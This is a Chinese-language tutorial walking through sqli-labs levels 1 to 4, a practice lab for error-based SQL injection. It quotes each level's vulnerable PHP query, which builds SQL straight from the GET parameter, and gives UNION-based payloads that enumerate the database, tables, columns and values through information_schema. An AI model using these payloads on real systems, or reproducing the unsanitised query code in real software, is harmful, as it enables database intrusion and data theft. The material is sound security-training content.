把sqli-labs的第1关到第4关放在一块写是因为它们都是显错注入,只不过闭合的符号不同而已。
1.png
level1——单引号字符串型
源码:
if(isset($_GET['id']))
{
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
可以看到是单引号闭合,将单引号闭合就好了。
?id=1' order by 3
查询到有3个字段。
查询数据库:?id=1' union select 1,2,database()
查询数据表:?id=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='数据库名'
查询字段名:?id=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='数据表名'
查询值:?id=1' union select 1,group_concat(字段名1),group_concat(字段名2) from '表名'
level2——数字型
源码:
if(isset($_GET['id']))
{
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
根据源码可以看到本官不需要闭合符号。思路和第一关一样,把第一关中用于闭合的单引号去掉就好了。
level3——单引号括号字符串型
源码:
if(isset($_GET['id']))
{
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
根据源码,本关是单引号加括号闭合,思路与第一关一样,把第一关中用于闭合的单引号改成单引号加括号就好了。
levle4——双引号括号字符串型
源码:
if(isset($_GET['id']))
{
$id=$_GET['id'];
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
源码中,先GET到id的值,然后给id值加上一对双引号再放到sql语句中,sql语句中id的值又被括号扩了起来,所以闭合就是双引号加括号闭合,思路和第一关一样。